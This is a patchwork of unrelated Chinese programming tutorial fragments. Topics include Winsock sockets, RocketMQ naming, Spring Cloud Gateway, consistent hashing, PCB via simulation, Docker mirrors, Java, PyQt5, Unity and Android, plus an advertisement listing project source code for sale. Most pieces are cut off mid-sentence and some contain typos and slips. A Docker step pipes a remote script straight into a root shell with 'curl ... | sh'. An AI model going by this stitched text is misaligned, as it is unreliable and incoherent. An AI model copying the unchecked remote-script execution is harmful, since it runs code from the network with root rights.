2.3 使用bind()函数将创建的套接字与服务器地址绑定;
2.4 使用listen()函数使服务器套接字做好接收连接请求准备;
2.5 使用accept()接收来自客户端由connect()函数发出的连接请求;
2.6 根据连接请求建立连接后,使用send()函数发送数据,或者使用recv()函数接收数据;
2.7 使用closesocket()函数关闭套接字;
2.8 最后调用WSACleanup()函数结束Winsock Sockets API。
1.3 客户端编程步骤 3.1 使用WSAStartup()函数检查系统协议栈安装情况;
3.2 使用socket()函数创建客户端套接字;
3.3 使用connect()函数发出也服务器建立连接的请求(调用前可以不用bind()端口号,由系统自动完成);
3.4 连接建立后使用send()函数发送数据,或使用recv()函数接收数据;
3.5 使用closesocet()函数关闭套接字;
3.6 最后调用WSACleanup()函数,结束Winsock Sockets API。
2 应用进程跨越网络通信的编程基本方法(socket)及基本函数: 2.1 socket概述 在计算机通信领域,socket 被翻译为“套接字”,它是计算机之间进行通信的一种约定或一种方式。通过 socket 这种约定,一台计算机可以接收其他计算机的数据,也可以向其他计算机发送数据。
1.Topic Topic 是消息发送和订阅的基本单位,一个 Topic 包含若干条相同主题的消息。Topic 命名的规范可以考虑以下几点:
Topic 命名应该简洁明了,能够表达出该主题的业务含义。Topic 命名应该避免使用特殊字符和中文等不易处理的字符,可以使用英文字母、数字和下划线等符号。Topic 命名时可以考虑加入一些业务相关的信息,例如: tc_operate_transactional tc_operate_transactional_callback tc_应用_业务信息 (tc=topic)Topic 命名应该避免冲突和混淆,不同应用之间的 Topic 命名应该遵守一定的规范和约定。对于需要动态调整消息订阅的场景,可以通过将 Topic 命名为通配符的方式来实现,例如 operate_transactional*,表示订阅以 operate_头的所有主题。 2.group 在 RocketMQ 中,消费者需要属于一个消费组,消费组内的每个消费者都会共同消费某个主题的消息。因此,消费组的命名也需要考虑以下几点:
消费组命名应该能够表达出该组的业务含义,能够清晰地描述消费者的功能和作用。消费组命名应该遵循一定的规范和约定,避免冲突和混淆。例如,可以在命名中加入应用名称或者使用业务分类前缀等方式。cg_tenant_transactional cg_tenant_transactional_callback cg_应用_业务信息 (cg=consumer group,pg=producer_group)消费组命名应该尽量简洁,避免过于复杂的命名,以便后续的管理和维护。对于需要动态扩展消费者的场景,可以在消费组命名中使用通配符的方式来实现,例如 order_*,表示消费者名称以 order_ 开头的所有消费者都属于该组。
(g6)节点同方向多条边显示不全及重叠问题 修改前:
解决显示不全问题后:
原因:之前数据中,边id与节点id有一样的,导致不显示。 代码:
arrData.dstConcept.forEach((ditem) => { let ranNum = Math.random();//随机数 let obj = {}; obj = { id: ranNum,//随机数做id label: item.chinese, source: sitem.conceptId, target: ditem.desConceptId, }; this.visualData.edges.push(obj); }); 解决重叠问题后: 原因:边类型采用quadratic类型最多也只能支持两条边,且弯曲度都一样导致重叠 解决方案:使用 util 方法 processParallelEdges 代码:
G6.Util.processParallelEdges(this.visualData.edges);//放在渲染之前,防止影响其他边的设置(例如弯曲箭头) this.graph.data(this.visualData); this.graph.render(); 解决参考:
官方:https://g6.antv.antgroup.com/manual/middle/elements/methods/multi-line
其余:https://blog.csdn.net/airconan/article/details/121745277
文章目录 1、Win10设置默认开启数字小键盘2、Win11设置默认开启数字小键盘 好像从win8时就开始,安装盘完系统,Num Lock都是默认关闭的。
1、Win10设置默认开启数字小键盘 运行Win + R 组合键,打开 cmd,输入 regedit ,打开注册表编辑器
在注册表编辑器中,依次展开 HKEY_USERS == 》 .DEFAULT ==》 Control Panel ==》 Keyboard ,点击 Keyboard 之后在右侧窗口中找到 InitialKeyboardIndicators 项目,双击进入。
3.将 InitialKeyboardIndicators 项目的数值数据由 2147483648,修改为 80000002 ,并点击确定按钮。
5、将电脑重新启动,看看是否win10开机默认开启了小键盘。
InitialKeyboardIndicators 的键值的作用:
InitialKeyboardIndicators 应该分开翻译: Initial Keyboard Indicators , 意思是 最初的键盘指示灯
键值作用KeyboardIndicators0表示关闭所有指示器InitialKeyboardIndicators1表示开启Caps Lock (大写键)InitialKeyboardIndicators2表示开启Num Lock ()InitialKeyboardIndicators4表示开启Scroll Lock(在Thinkpad中与Num Lock是同一个)KeyboardDelay1键盘延迟,一般设为1就行KeyboardSpeed31键盘速度,可随便设 2、Win11设置默认开启数字小键盘 方法一:
开机到登录界面后
手动按一下 numlock
然后 直接点重启,下次就自动记住了
原理应该是让操作系统记住了用户的设置
方法二:
同上述Win 10操作,进入注册表编辑器,将 InitialKeyboardIndicators 项目的数值数据由 2147483648,修改为 80000002
目录 前言SpringCloud Gatewy网关一.网关功能和工作原理二.网关的类型三.搭建网关四.路由断言工厂(Route Predicate Factory)五.路由过滤器(属于GatewayFilter)六.DefaultFilter过滤器(属于GatewayFilter)七.全局过滤器(GlobalFilter)八.过滤器执行顺序九.Gateway解决跨域问题 前言 微服务分为多个服务,有很多服务是内部人员要用的,但是现在谁都可以访问到,那我们该怎么办呢?
Spring Cloud最新面试题
Spring Cloud Nacos详解之注册中心
Spring Cloud Nacos详解之配置中心
Spring Cloud Nacos详解之集群配置
Spring Cloud Eureka详解
Spring Cloud Frign详解
Spring Cloud Ribbon详解
Spring Cloud Hystrix详解
SpringCloud Gatewy网关 一.网关功能和工作原理 二.网关的类型 Gateway
响应式编程,具有更好的性能。
Zuul
阻塞式编程。
三.搭建网关 1.创建一个新的服务
2.添加网关依赖和nacos服务发现依赖
<!--nacos服务注册发现依赖--> <dependency> <groupId>com.alibaba.cloud</groupId> <artifactId>spring-cloud-starter-alibaba-nacos-discovery</artifactId> </dependency> <!--网关gateway依赖--> <dependency> <groupId>org.springframework.cloud</groupId> <artifactId>spring-cloud-starter-gateway</artifactId> </dependency> 3.编写yml配置文件
server: port: 10086 #端口号 spring: application: name: gateway #服务名称 cloud: nacos: server-addr: localhost:8848 # nacos地址 gateway: routes: - id: user-service # 路由id,必须唯一。 用户服务 uri: lb://userservice # 路由的目标地址,lb是负载均衡。 # uri: http://127.
写在前面 💟源码获取:主页或文末皆可获取博主联系方式 私信即可
🎈源码类型:包含SSM、SpringBoot、Vue、Python等方面
🎀下方展示为部分项目运行效果,参考别的博主的连接。具体可以私博主。定期更新。
SSM项目及视频效果序号项目名称项目运行视频效果1汉语言类网上考试系统汉语言类网上考试系统2高校智能排课系统高校智能排课系统3企业销售管理系统企业销售管理系统4汽车租赁系统汽车租赁系统5网上购物超市系统网上购物超市系统6网上家教信息管理系统网上家教信息管理系统7医药销售管理系统医药销售管理系统8高校学生实训信息管理系统高校学生实训信息管理系统9校园安全管理系统校园安全管理系统10科研项目评审系统科研项目评审系统11宁夏红色旅游管理系统宁夏红色旅游管理系统12景宁旅游网站景宁旅游网站13鲜花销售网站鲜花销售网站14影院在线售票网站影院在线售票网站15家教平台系统家教平台系统16酒店管理系统酒店管理系统17四六级在线考试系统四六级在线考试系统18图书借阅系统图书借阅系统19宠物论坛设计宠物论坛设计20宠物医院信息管理系统宠物医院信息管理系统21大学生兼职信息系统大学生兼职信息系统22婚纱影楼网站婚纱影楼网站23生鲜食品o2o商城系统生鲜食品o2o商城系统24疫情防控系统疫情防控系统25遵义旅游管理系统遵义旅游管理系统26水果生鲜商城系统设计水果生鲜商城系统设计27学生宿舍管理系统学生宿舍管理系统28仓库管理系统仓库管理系统29二手车交易管理系统二手车交易管理系统30农家乐管理系统农家乐管理系统31疫情社区管理系统疫情社区管理系统32非处方药物的查询与推荐系统非处方药物的查询与推荐系统33疫情之下社区管理系统疫情之下社区管理系统34家庭医生签约服务网站家庭医生签约服务网站35疫情社区管理系统疫情社区管理系统36驾校预约管理系统驾校预约管理系统37汽车维修管理系统汽车维修管理系统38个人交友网站个人交友网站39心理健康教育系统心理健康教育系统40高校企业公寓后勤管理系统高校企业公寓后勤管理系统41房屋租赁系统房屋租赁系统42前台点菜订餐系统前台点菜订餐系统43动漫周边商城动漫周边商城44高校人事管理系统高校人事管理系统45球鞋商城系统球鞋商城系统46中学校园网站中学校园网站47手办周边商城手办周边商城48疫情防控物业管理系统疫情防控物业管理系统49高校学生资助管理信息系统高校学生资助管理信息系统50疫情防控物业管理系统疫情防控物业管理系统51少儿编程教育网站系统少儿编程教育网站系统52高校心理咨询预约系统高校心理咨询预约系统53高校奖学金管理系统高校奖学金管理系统54众筹平台网站众筹平台网站55古玩玉器交易系统古玩玉器交易系统56企业公司员工人事管理系统企业公司员工人事管理系统57停车位短租系统程序停车位短租系统程序58宠物商店领养管理系统宠物商店领养管理系统59留学生交流互动论坛网站留学生交流互动论坛网站60英语单词学习网站英语单词学习网站61老年人健康饮食管理系统老年人健康饮食管理系统62自主学习系统自主学习系统63企业车辆管理系统企业车辆管理系统64医院预约挂号系统医院预约挂号系统65高校生活服务平台高校生活服务平台66网上书店的设计与实现网上书店的设计与实现67大学生健康管理系统大学生健康管理系统68班级管理系统班级管理系统69基于web的网上书店基于web的网上书店70小说阅读网站小说阅读网站71网上鲜花交易网上鲜花交易72大学生社团大学生社团73毕业设计管理系统毕业设计管理系统74电影视频在线点播系统电影视频在线点播系统75社区流浪猫狗救助网站社区流浪猫狗救助网站76网络教学系统网络教学系统77旅游管理系统旅游管理系统78办公OA管理系统办公OA管理系统79运动会管理系统运动会管理系统80员工婚恋交友平台员工婚恋交友平台81家用电器销售网站家用电器销售网站82游戏论坛游戏论坛83中药分类药品进销存管理系统中药分类药品进销存管理系统84求职招聘网站求职招聘网站85幼儿园管理系统程序幼儿园管理系统程序86电影售票系统电影售票系统87医院设备管理系统医院设备管理系统88问卷调查系统问卷调查系统89农产品供销服务系统农产品供销服务系统90网络作业提交与批改系统网络作业提交与批改系统91车辆违章处理系统车辆违章处理系统92美食网站设计与实现美食网站设计与实现93中国风音乐网站中国风音乐网站94健康体检管理系统健康体检管理系统95共享单车管理系统共享单车管理系统96体育⽤品在线销售系统体育⽤品在线销售系统97个人健康信息管理个人健康信息管理98校园点餐校园点餐99高校校园点餐高校校园点餐100高校失物招领管理平台高校失物招领管理平台101高校网上教材征订系统高校网上教材征订系统102文物管理系统文物管理系统103音乐播放器管理系统音乐播放器管理系统104学生综合考评管理系统学生综合考评管理系统105师生防疫登记备案系统设计师生防疫登记备案系统设计106民宿管理系统民宿管理系统107超市进销存管理系统超市进销存管理系统108校友录同学录校友录同学录109银行排队叫号系统银行排队叫号系统110旅游管理系统vue左右分栏旅游管理系统vue左右分栏111教师管理系统教师管理系统112时间管理系统时间管理系统113网上拍卖系统网上拍卖系统114遂川特产销售系统遂川特产销售系统115咖啡馆管理系统咖啡馆管理系统116中华二十四节气文化传承宣展平台中华二十四节气文化传承宣展平台117二手手机回收平台系统二手手机回收平台系统118小区失物招领网站小区失物招领网站119大学生健康管理系统大学生健康管理系统120交通事故档案管理系统交通事故档案管理系统121机房预约系统机房预约系统122校园快领服务系统校园快领服务系统123学生考勤管理学生考勤管理124停车场管理系统停车场管理系统125预约挂号系统预约挂号系统126网上报名系统网上报名系统127运动品交易商城设计运动品交易商城设计128个性化影片推荐系统个性化影片推荐系统129社区生活超市管理系统社区生活超市管理系统130校园高校大学生兼职求职平台校园高校大学生兼职求职平台131网上办公自动化系统网上办公自动化系统132智慧社区报修房屋缴费管理系统智慧社区报修房屋缴费管理系统133图书馆图书借阅归还管理系统图书馆图书借阅归还管理系统134考研信息查询系统考研信息查询系统135高校信息资源共享平台高校信息资源共享平台 SpringBoot项目及视频效果序号项目名称项目运行视频效果1乡村健康在线咨询网站乡村健康在线咨询网站2在线动漫平台在线动漫平台3医院急诊系统医院急诊系统4口腔牙诊所网站口腔牙诊所网站5在线彩妆店铺在线彩妆店铺6在线课程教学大纲系统在线课程教学大纲系统7垃圾分类网站垃圾分类网站8婚庆系统婚庆系统9实验室管理系统实验室管理系统10家具销售购物网站家具销售购物网站11小组学习系统小组学习系统12张家口旅游网站张家口旅游网站13心理健康管理系统心理健康管理系统14教师人事档案管理教师人事档案管理15校园博客系统校园博客系统16校园闲置物品交易网站校园闲置物品交易网站17校园闲置物品租售校园闲置物品租售18毕业生信息招聘平台毕业生信息招聘平台19汉服推广网站汉服推广网站20汽车租赁系统汽车租赁系统21火车订票管理系统火车订票管理系统22点餐平台网站点餐平台网站23电脑城销售系统电脑城销售系统24疫情社区防空系统疫情社区防空系统25二手交易平台二手交易平台26交流互动系统交流互动系统27人事管理系统人事管理系统28社区老人管理系统社区老人管理系统29人民医院体检预约系统人民医院体检预约系统30人职匹配推荐系统人职匹配推荐系统31健身房课程预约平台健身房课程预约平台32共享单车系统共享单车系统33准妈妈孕期交流平台准妈妈孕期交流平台34大学生社团管理系统大学生社团管理系统35学生毕业离校系统学生毕业离校系统36学生组织管理系统学生组织管理系统37家庭理财记账家庭理财记账38小区物业管理系统小区物业管理系统39小区疫情数据动态小区疫情数据动态40幼儿园管理系统幼儿园管理系统41影视管理系统影视管理系统42房产网上交易平台房产网上交易平台43新生宿舍管理系统新生宿舍管理系统44旅游管理旅游管理45旧物置换网站旧物置换网站46最优网络购票系统最优网络购票系统47校园新闻网站校园新闻网站48民宿管理平台民宿管理平台49疫情网课管理系统疫情网课管理系统50社区医疗服务系统社区医疗服务系统51社区维修平台社区维修平台52简历系统简历系统53网上商城网上商城54高校图书馆座位预约高校图书馆座位预约55高校学报论文在线投稿系统高校学报论文在线投稿系统56科任教师考评系统科任教师考评系统57考研资讯管理考研资讯管理58音乐平台音乐平台59餐厅点餐系统餐厅点餐系统60论坛管理系统论坛管理系统61汉服交流网站汉服交流网站62体用用品销售商城网站体用用品销售商城网站63羽毛球商城羽毛球商城64化妆品销售商城化妆品销售商城65母婴用品销售商城母婴用品销售商城66玩具销售商城玩具销售商城67箱包销售商城箱包销售商城68茶叶销售商城茶叶销售商城69宠物销售商城宠物销售商城70零食销售商城零食销售商城71鲜花销售商城鲜花销售商城72药品销售商城药品销售商城73甜品蛋糕销售商城甜品蛋糕销售商城74服装销售商城服装销售商城75农产品销售商城农产品销售商城76办公OA系统办公OA系统77校园疫情防控系统校园疫情防控系统78药店进销存管理系统药店进销存管理系统79球鞋销售商城球鞋销售商城80中华美食文化网站中华美食文化网站81教师人事管理系统教师人事管理系统82贫困地区儿童资助网站贫困地区儿童资助网站83B2C电商平台B2C电商平台84小巨人友书网站小巨人友书网站85租房网站租房网站86体质测试数据分析体质测试数据分析87外卖订餐系统外卖订餐系统88客户关系管理平台客户关系管理平台89旅游网站旅游网站90会议管理系统会议管理系统91在线答疑系统在线答疑系统92超市商城网站超市商城网站
这两天看到技术群里,有小伙伴在讨论一致性hash算法的问题,正愁没啥写的题目就来了,那就简单介绍下它的原理。下边我们以分布式缓存中经典场景举例,面试中也是经常提及的一些话题,看看什么是一致性hash算法以及它有那些过人之处。
构建场景 假如我们有三台缓存服务器编号node0、node1、node2,现在有3000万个key,希望可以将这些个key均匀的缓存到三台机器上,你会想到什么方案呢?
我们可能首先想到的方案,是取模算法hash(key)% N,对key进行hash运算后取模,N是机器的数量。key进行hash后的结果对3取模,得到的结果一定是0、1或者2,正好对应服务器node0、node1、node2,存取数据直接找对应的服务器即可,简单粗暴,完全可以解决上述的问题。
hash的问题 取模算法虽然使用简单,但对机器数量取模,在集群扩容和收缩时却有一定的局限性,因为在生产环境中根据业务量的大小,调整服务器数量是常有的事;而服务器数量N发生变化后hash(key)% N计算的结果也会随之变化。
比如:一个服务器节点挂了,计算公式从hash(key)% 3变成了hash(key)% 2,结果会发生变化,此时想要访问一个key,这个key的缓存位置大概率会发生改变,那么之前缓存key的数据也会失去作用与意义。
大量缓存在同一时间失效,造成缓存的雪崩,进而导致整个缓存系统的不可用,这基本上是不能接受的,为了解决优化上述情况,一致性hash算法应运而生~
那么,一致性哈希算法又是如何解决上述问题的?
一致性hash 一致性hash算法本质上也是一种取模算法,不过,不同于上边按服务器数量取模,一致性hash是对固定值2^32取模。
“ IPv4的地址是4组8位2进制数组成,所以用2^32可以保证每个IP地址会有唯一的映射
hash环
我们可以将这2^32个值抽象成一个圆环⭕️(不得意圆的,自己想个形状,好理解就行),圆环的正上方的点代表0,顺时针排列,以此类推,1、2、3、4、5、6……直到2^32-1,而这个由2的32次方个点组成的圆环统称为hash环。
那么这个hash环和一致性hash算法又有什么关系嘞?我们还是以上边的场景为例,三台缓存服务器编号node0、node1、node2,3000万个key。
服务器映射到hash环
这个时候计算公式就从hash(key)% N 变成了hash(服务器ip)% 2^32,使用服务器IP地址进行hash计算,用哈希后的结果对2^32取模,结果一定是一个0到2^32-1之间的整数,而这个整数映射在hash环上的位置代表了一个服务器,依次将node0、node1、node2三个缓存服务器映射到hash环上。
对象key映射到hash环
接着在将需要缓存的key对象也映射到hash环上,hash(key)% 2^32,服务器节点和要缓存的key对象都映射到了hash环,那对象key具体应该缓存到哪个服务器上呢?
对象key映射到服务器
“ 从缓存对象key的位置开始,沿顺时针方向遇到的第一个服务器,便是当前对象将要缓存到的服务器。
因为被缓存对象与服务器hash后的值是固定的,所以,在服务器不变的条件下,对象key必定会被缓存到固定的服务器上。根据上边的规则,下图中的映射关系:
key-1 -> node-1
key-3 -> node-2
key-4 -> node-2
key-5 -> node-2
key-2 -> node-0
如果想要访问某个key,只要使用相同的计算方式,即可得知这个key被缓存在哪个服务器上了。
一致性hash的优势 我们简单了解了一致性hash的原理,那它又是如何优化集群中添加节点和缩减节点,普通取模算法导致的缓存服务,大面积不可用的问题呢?
先来看看扩容的场景,假如业务量激增,系统需要进行扩容增加一台服务器node-4,刚好node-4被映射到node-1和node-2之间,沿顺时针方向对象映射节点,发现原本缓存在node-2上的对象key-4、key-5被重新映射到了node-4上,而整个扩容过程中受影响的只有node-4和node-1节点之间的一小部分数据。
反之,假如node-1节点宕机,沿顺时针方向对象映射节点,缓存在node-1上的对象key-1被重新映射到了node-4上,此时受影响的数据只有node-0和node-1之间的一小部分数据。
从上边的两种情况发现,当集群中服务器的数量发生改变时,一致性hash算只会影响少部分的数据,保证了缓存系统整体还可以对外提供服务的。
数据偏斜问题 前边为了便于理解原理,画图中的node节点都很理想化的相对均匀分布,但理想和实际的场景往往差别很大,就比如办了个健身年卡的我,只去过健身房两次,还只是洗了个澡。
想要健身的你 在服务器节点数量太少的情况下,很容易因为节点分布不均匀而造成数据倾斜问题,如下图被缓存的对象大部分缓存在node-4服务器上,导致其他节点资源浪费,系统压力大部分集中在node-4节点上,这样的集群是非常不健康的。
解决数据倾斜的办法也简单,我们就要想办法让节点映射到hash环上时,相对分布均匀一点。
一致性Hash算法引入了一个虚拟节点机制,即对每个服务器节点计算出多个hash值,它们都会映射到hash环上,映射到这些虚拟节点的对象key,最终会缓存在真实的节点上。
虚拟节点的hash计算通常可以采用,对应节点的IP地址加数字编号后缀 hash(10.24.23.227#1) 的方式,举个例子,node-1节点IP为10.24.23.227,正常计算node-1的hash值。
hash(10.24.23.227#1)% 2^32
假设我们给node-1设置三个虚拟节点,node-1#1、node-1#2、node-1#3,对它们进行hash后取模。
hash(10.24.23.227#1)% 2^32
hash(10.24.23.227#2)% 2^32
高频传输线中微带线和带状线是常用的走线形式。在某些场合,高速传输线需要由表层穿向PCB内层,则只能通过过孔进行连接。在高频场合下,由于兼顾阻抗匹配,因此过孔的尺寸设计是有一定讲究的。
本文采用过孔将一段表层传输线过渡到内层传输线进行建模,分析一下过孔的仿真模型。暂定PCB的叠层结构如下:四层电路板,PCB板材都是rogers 4350b材质(备注:实际加工时,是不能这样加工的,中间需要PP半固化片进行粘接,本文只是提供一下建模思想),每层PCB的铜厚都是1OZ。
前段:走的是表层的微带线,也有叫共面波导。
中段:是过孔,将前端传输线与后端的传输线进行连接。过孔目前设计为盲孔形式,过孔只经过表层和第二层。
后段:走的是带状线,长度为从过孔到端口这一段,信号走在第二层,第一层和第三层为信号的参考gnd。剖面图如下:
设计思路:
1. 首先需要仿真一下前段的传输线,确认线宽、线间距。本文最终确定前端的传输线的线宽6.6mil、距表层gnd距离6mil
2. 确认后段传输线的线宽、线间距。本文最终确定后端的传输线的线宽5.3mil,距离gnd的间距为6mil。
3.设计过孔,因为传输线只分布在一、二层,则优先考虑设计盲孔(从一层到二层,后面会介绍为什么不考虑使用通孔结构),一般PCB厂家的过孔最小半径4mil。在此便画一个简单的4mil的圆柱体,圆柱体高度为表层到第二层的厚度,当作过孔(备注:实际的过孔并非实心的结构,部分厂家给的过孔的铜厚在10-20mil,本文直接简化模型,当成实心的)。
最终仿真出来的结果如下:
S11:
S21:
TDR:
从仿真结果可以看出,整体的损耗30G时在0.8左右。其中观察TDR曲线,发现加入过孔后,整条链路的阻抗被拉低到42欧姆左右,出现了阻抗不匹配的情况,因此需要想办法优化过孔。
优化: 因为过孔为盲孔结构,本模型采用的实心铜传导。阻抗肯定会减小,则可以考虑增大过孔与周边铜皮的距离,甚至盲孔下方三四层铜皮的gnd也可以挖掉进行优化阻抗。这部分优化比较费时,在此我只提供一下优化的思路。
问题1:过孔采用盲孔形式,加工起来比较繁琐,那是否可以设计成通孔呢?
为了拿数据进行说话,我在此将通孔也设计成模型2、3,通过对比结果来回答此问题
模型2:过孔直接延伸到bottom层,通孔形式。整个板厚较薄,3*4mil+4oz的铜皮厚度
模型3: 由于模型2在实际pcb加工时不可行,板厚太小了,一般我们设计的pcb板厚0.6mm 以上,1mm左右居多,因此模型3将通孔继续延伸到bottom层下方 20mil的空间,保 证整体板厚在1mm左右。(备注:正常情况下,需要将bottom层向下延伸20mil, 在此直接省略了)
最终三个模型的仿真结果如下:
结论:30G以下,通孔盲孔差别较小;30G以上,通孔的损耗梯度更大些。
因此,能盲孔加工尽量采用盲孔进行设计。插入损耗更小些。纸上得来终觉浅,绝知此事要躬行,吾将上下而求索❗
要在 Docker 中配置网易镜像,需要完成以下步骤:
打开 Docker 客户端。
在命令行中输入以下命令,以下载网易镜像加速器地址:
sudo curl -sSL https://get.daocloud.io/daotools/set_mirror.sh | sh -s http://hub-mirror.c.163.com 重启 Docker 客户端。
现在,Docker 将使用网易镜像加速器作为默认镜像源。可以通过在 Docker 客户端中运行以下命令来检查配置是否生效:
docker info 如果配置成功,将会在输出中看到类似于以下内容:
Registry Mirrors: http://hub-mirror.c.163.com/ 这意味着 Docker 将使用网易镜像加速器来拉取容器镜像。
要添加 Docker 存储库,您可以按照 Docker 官方网站上提供的说明进行操作。以下是您可以遵循的步骤摘要:
为官方 Docker 仓库添加 GPG 密钥:
Copy code $ curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add - 将 Docker 存储库添加到您的系统:
$ sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/debian $(lsb_release -cs) stable" 更新您的软件包列表:
$ sudo apt-get update 完成这些步骤后,您应该能够通过运行与之前相同的命令来安装 Docker CE 及其相关软件包:
$ sudo apt-get install docker-ce docker-ce-cli containerd.io 我希望这有帮助!
目录 1、Java修饰符1.1 访问修饰符1.1.1 公有访问修饰符-public1.1.2 受保护的访问修饰符-protected1.1.3 默认访问修饰符-不使用任何关键字1.1.4 私有访问修饰符-private1.1.5 访问控制和继承 1.2 非访问修饰符1.2.1 static 修饰符1.2.2 final 修饰符1.2.3 abstract 修饰符1.2.4 synchronized 修饰符1.2.5 volatile 修饰符 1、Java修饰符 Java语言提供了很多修饰符(修饰符用来定义类、方法或者变量,通常放在语句的最前端),主要分为以下两类:
访问修饰符非访问修饰符 1.1 访问修饰符 default (即默认): 在同一包内可见,不使用任何修饰符。 使用对象:类、接口、变量、方法。 private : 在同一类内可见。 使用对象:变量、方法。 注意:不能修饰类(外部类) public : 对所有类可见。 使用对象:类、接口、变量、方法 protected : 对同一包内的类和所有子类可见。 使用对象:变量、方法。 注意:不能修饰类(外部类)。 访问级别访问控制修饰符同类同包子类不同包公开public允许允许允许允许受保护protected允许允许允许不允许默认default允许允许不允许不允许私有province允许不允许不允许不允许 1.1.1 公有访问修饰符-public 被声明为 public 的类、方法、构造方法和接口能够被任何其他类访问。
如果几个相互访问的 public 类分布在不同的包中,则需要导入相应 public类所在的包。由于类的继承性,类所有的公有方法和变量都能被其子类继承。
public static void main(String[] args) { // ... } 1.1.2 受保护的访问修饰符-protected 1.子类与基类在同一包中:被声明为 protected 的变量、方法和构造器能被同一个包中的任何其他类访问;
2.子类与基类不在同一包中:那么在子类中,子类实例可以访问其从基类继承而来的 protected方法,而不能访问基类实例的protected方法
7-1 jmu-Java-01入门-取数字浮点数 本题目要求读入若干以回车结束的字符串表示的整数或者浮点数,然后将每个数中的所有数字全部加总求和。
输入格式: 每行一个整数或者浮点数。保证在浮点数范围内。
输出格式: 整数或者浮点数中的数字之和。题目保证和在整型范围内。
输入样例: -123.01 234 输出样例: 7 9 import java.util.Scanner; public class Main{ public static void main(String[] args){ Scanner sc=new Scanner(System.in); while(true){ String a=sc.nextLine(); char []b=a.toCharArray(); int sum=0; for(int i=0;i<b.length;i++){ if(b[i]!='.'&&b[i]!='-'){ int t=Integer.valueOf(b[i])-48; sum=sum+t; } } System.out.println(sum); } } } 7-4 jmu-java-m01-Scanner入门 输入一个整数,然后输入一个浮点数(带小数点的数)。
对两个数求和,并输出。然后对和进行开根号并输出。
再将输出后的值转化为字符串(可使用String.valueOf()函数),截取前6个字符(包含小数点)。
输入格式: 整数x 浮点数y
输出格式: 整数与浮点数的和
和的开根号
和的开根号的前6个字符
输入样例: 2 3.141592654 输出样例: 5.141592654 2.2675080273286796 2.2675 import java.util.Scanner; public class Main{ public static void main(String[] args){ Scanner sc=new Scanner(System.
PyQt5入门 (一)、窗口基本功能 1、第一个程序 编写一个PyQt5程序必须使用两个类:QApplication 和 QWidget ,这两个类都在PyQt5.QtWidgets模块中,所以首先要导入这个模块。
QApplication 类的实例表示整个应用程序,该类得构造方法需要传入Python程序得命令行参数(需要导入sys模块)QWidget 类的实例相当于一个窗口show 方法显示串口 import sys from PyQt5.QtWidgets import QApplication, QWidget if __name__ == "__main__": # 创建QApplication类的实例,并传入命令行参数 app = QApplication(sys.argv) # 创建QWidget类的实例,相当于创建一个窗口 w = QWidget() # 调整窗口的大小(宽,高) w.resize(500, 300) # 移动窗口(显示的相对位置,左,上) w.move(100, 200) # 设置窗口的标题 w.setWindowTitle("this is a pyqt5 window") # 显示窗口 w.show() # 进入循环的主循环,并通过exit函数确保主循环安全结束 sys.exit(app.exec_()) 2、为窗口添加图标 import sys from PyQt5.QtWidgets import QApplication, QWidget # 导入QIcon类,用于装载图像文件 from PyQt5.QtGui import QIcon if __name__ == "
一、功能需求: 我们首先明确一下,我们要制作的这个小服务器,需要具备什么功能
1.1、用户的注册和登录 使用sqlite3数据库,插入新的用户和查询用户的名字和密码是否匹配
1.2、查询单词 单词及其解释中,保存在一个文本文件当中。
需要打开文件,在其中查询
1.3用户查询记录 用户每次查询单词都会将用户名,查询的单词,查询的时间保存在sqlite3表中
二、服务器端代码流程 2.1打开数据库 #define DATABASE "my.db" sqlite3* db; /*打开数据库*/ if(sqlite3_open(DATABASE, &db) != SQLITE_OK) { printf("%s\n" , sqlite3_errmsg(db)); } else { printf("open %s success\n",DATABASE); } 2.2、配置并开启tcp服务器 sockfd = socket(AF_INET,SOCK_STREAM, 0); if(sockfd < 0) { perror("socket"); return -1; } /*填写信息*/ bzero(&serveraddr,sizeof(serveraddr)); serveraddr.sin_family = AF_INET; serveraddr.sin_addr.s_addr = htonl(INADDR_ANY);//本机所有网络接口都可以连接进来 serveraddr.sin_port = htons(port); /*绑定*/ if(bind(sockfd , (struct sockaddr *) &serveraddr, sizeof(serveraddr)) < 0) { perror("fail to bind.
一、使用transform组件进行移动 transform组件是每一个游戏物体自带的组件,它表示的是Object的外在改变,里面的属性如图所示:
Position-->Object的位置. Rotation-->对Object进行旋转. Scale-->对Object进行缩放
而且Transform组件有很多内置方法,比如这次移动用到的就是--Translate方法.
实例代码如下:
using System.Collections; using System.Collections.Generic; using UnityEngine; public class move2 : MonoBehaviour { public float moveSpeed; private float x_direction; private float z_direction; // Start is called before the first frame update void Start() { } // Update is called once per frame void Update() { x_direction = Input.GetAxis("Horizontal"); z_direction = Input.GetAxis("Vertical"); this.transform.Translate(x_direction * moveSpeed, 0, z_direction * moveSpeed); } } 这样就可以实现一个简单的Object移动.Translate里面的可以是一个三维向量当作参数.
二、使用Rigidbody组件进行移动 Mass-->质量. Drag-->阻力.
结论 remove()函数没有返回值。以b = a.remove(‘xxx’)形式使用时,a.remove(‘xxx’)没有返回值,所以b为None。
排查过程 这个问题最开始是由于把文本strip().split(’ ‘)后产生的列表中含有空项引起的,形式是[…,’',…],为了把这个去掉,尝试用捕获异常来处理(有些样本不会产生这样的现象),但在打印结果的过程中发现,打印出None,所以才发现这个问题。
复现情况如下:
a_list = [['a','b','c'],['a','c','d','','e']] for a in a_list: print(a) try: a = a.remove('') except ValueError: a = a print(a) print('*'*20) b = ['a','c','d','','e'] b.remove('') #print(b) print(b) 对应运行结果: ['a', 'b', 'c'] ['a', 'b', 'c'] ['a', 'c', 'd', '', 'e'] None ******************** ['a', 'c', 'd', 'e'] 之后,做了一系列测试,
测试一: a_list = [['a','b','c'],['a','c','d','','e']] for a in a_list: print(a) try: a.remove('') except ValueError: a = a print(a) print('*'*20) b = ['a','c','d','','e'] b.
按键响应 一、onClick二、自定义类实现按键监听事件接口三、匿名内部类四、实现接口View.OnClickListener 一、onClick 在按键中加入属性onClick,填入要绑定到的方法"bu1"中,因为有两个按键,所以为了区分都添加上id,
注意:每个id的加入都要防止属性的最前面
在MainActivity.java中我们来定义bu1方法,如下图,按键按下,得到id开始进行分支选择,Toast.makeText中的参数分别是,(调用的对象,要打印的内容,时长(填0为默认)),最后要调用show方法。
运行结果
二、自定义类实现按键监听事件接口 自定义一个类,实现View.OnClickListener接口,实现方法onClick,在这里makeText就用不了了,因为它必须和MainActivity产生一些关系
MainActivity.java
